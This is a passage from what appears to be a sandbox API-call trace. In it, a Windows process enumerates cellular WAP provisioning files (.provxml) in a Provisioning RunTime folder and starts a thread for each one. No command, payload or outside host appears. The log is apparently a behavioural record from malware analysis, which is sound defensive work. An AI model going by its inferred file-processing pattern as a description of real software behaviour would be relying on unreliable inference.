Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.242] wcscat (in: _Dest=0x3044d50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.242] wcscat (in: _Dest=0x3044d50, _Source="383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\383__Connections_Cellular_MobileOne (Singapore)_i1$(__MVID)@WAP.provxml" [0180.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044d50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x648 [0180.243] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", cAlternateFileName="384__C~1.PRO")) returned 1 [0180.243] wcscmp (_String1="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.243] wcscmp (_String1="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.243] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3044bf8 [0180.243] wcscpy (in: _Dest=0x3044bf8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.243] wcscat (in: _Dest=0x3044bf8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.243] wcscat (in: _Dest=0x3044bf8, _Source="384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\384__Connections_Cellular_Singtel (Singapore)_i0$(__MVID)@WAP.provxml" [0180.243] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044bf8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0180.244] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", cAlternateFileName="385__C~1.PRO")) returned 1 [0180.244] wcscmp (_String1="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.244] wcscmp (_String1="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.244] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x30443e8 [0180.244] wcscpy (in: _Dest=0x30443e8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.244] wcscat (in: _Dest=0x30443e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.244] wcscat (in: _Dest=0x30443e8, _Source="385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\385__Connections_Cellular_Singtel (Singapore)_i1$(__MVID)@WAP.provxml" [0180.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30443e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564 [0180.245] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", cAlternateFileName="386__C~1.PRO")) returned 1 [0180.245] wcscmp (_String1="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.245] wcscmp (_String1="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.245] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x30447f0 [0180.245] wcscpy (in: _Dest=0x30447f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.245] wcscat (in: _Dest=0x30447f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.245] wcscat (in: _Dest=0x30447f0, _Source="386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\386__Connections_Cellular_Singtel (Singapore)_i2$(__MVID)@WAP.provxml" [0180.245] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30447f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x970 [0180.245] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e0de39, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e0de39, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e0de39, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2ca, dwReserved0=0x0, dwReserved1=0x0, cFileName="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", cAlternateFileName="387__C~1.PRO")) returned 1 [0180.246] wcscmp (_String1="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.246] wcscmp (_String1="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3045408 [0180.246] wcscpy (in: _Dest=0x3045408, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.246] wcscat (in: _Dest=0x3045408, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.246] wcscat (in: _Dest=0x3045408, _Source="387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\387__Connections_Cellular_Singtel (Singapore)_i3$(__MVID)@WAP.provxml" [0180.246] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045408, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x3e0 [0180.246] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e340a5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e340a5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e340a5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", cAlternateFileName="388__C~1.PRO")) returned 1 [0180.246] wcscmp (_String1="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.246] wcscmp (_String1="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.246] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x30452b0 [0180.246] wcscpy (in: _Dest=0x30452b0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.247] wcscat (in: _Dest=0x30452b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.247] wcscat (in: _Dest=0x30452b0, _Source="388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\388__Connections_Cellular_Starhub (Singapore)_i0$(__MVID)@WAP.provxml" [0180.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x30452b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x64c [0180.247] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e340a5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e340a5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e340a5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34f, dwReserved0=0x0, dwReserved1=0x0, cFileName="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", cAlternateFileName="389__C~1.PRO")) returned 1 [0180.247] wcscmp (_String1="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.247] wcscmp (_String1="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.247] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3044948 [0180.247] wcscpy (in: _Dest=0x3044948, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.247] wcscat (in: _Dest=0x3044948, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.247] wcscat (in: _Dest=0x3044948, _Source="389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\389__Connections_Cellular_Starhub (Singapore)_i1$(__MVID)@WAP.provxml" [0180.247] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3044948, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x978 [0180.248] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90221ca6, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90221ca6, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90221ca6, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x319, dwReserved0=0x0, dwReserved1=0x0, cFileName="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", cAlternateFileName="38__CO~1.PRO")) returned 1 [0180.248] wcscmp (_String1="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.248] wcscmp (_String1="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.248] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x162) returned 0x2f6d5c8 [0180.248] wcscpy (in: _Dest=0x2f6d5c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.248] wcscat (in: _Dest=0x2f6d5c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.248] wcscat (in: _Dest=0x2f6d5c8, _Source="38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\38__Connections_Cellular_JLLC Mobile TeleSystems (Belarus)_i0$(__MVID)@WAP.provxml" [0180.248] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6d5c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560 [0180.249] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e340a5, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e340a5, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e340a5, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x34e, dwReserved0=0x0, dwReserved1=0x0, cFileName="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", cAlternateFileName="390__C~1.PRO")) returned 1 [0180.249] wcscmp (_String1="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.249] wcscmp (_String1="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.249] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3045000 [0180.249] wcscpy (in: _Dest=0x3045000, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.249] wcscat (in: _Dest=0x3045000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.249] wcscat (in: _Dest=0x3045000, _Source="390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\390__Connections_Cellular_Starhub (Singapore)_i2$(__MVID)@WAP.provxml" [0180.249] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0180.250] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e5a314, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="391__C~1.PRO")) returned 1 [0180.250] wcscmp (_String1="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.250] wcscmp (_String1="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.250] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x13c) returned 0x4f026f0 [0180.250] wcscpy (in: _Dest=0x4f026f0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.250] wcscat (in: _Dest=0x4f026f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.250] wcscat (in: _Dest=0x4f026f0, _Source="391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\391__Connections_Cellular_O2 (Slovakia)_i0$(__MVID)@WAP.provxml" [0180.250] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x4f026f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5d4 [0180.251] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e5a314, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="392__C~1.PRO")) returned 1 [0180.251] wcscmp (_String1="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.251] wcscmp (_String1="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0180.251] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x144) returned 0x3045158 [0180.251] wcscpy (in: _Dest=0x3045158, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0180.251] wcscat (in: _Dest=0x3045158, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0180.251] wcscat (in: _Dest=0x3045158, _Source="392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\392__Connections_Cellular_Orange (Slovakia)_i0$(__MVID)@WAP.provxml" [0180.251] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3045158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x494 [0180.252] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90e5a314, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90e5a314, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90e5a314, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", cAlternateFileName="393__C~1.PRO")) returned 1 [0180.393] wcscmp (_String1="393__Connections_Cellular_Slovak Telekom (Slovakia)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0180.393] wcscmp (_String1="393__Connections_Cellular_Slovak 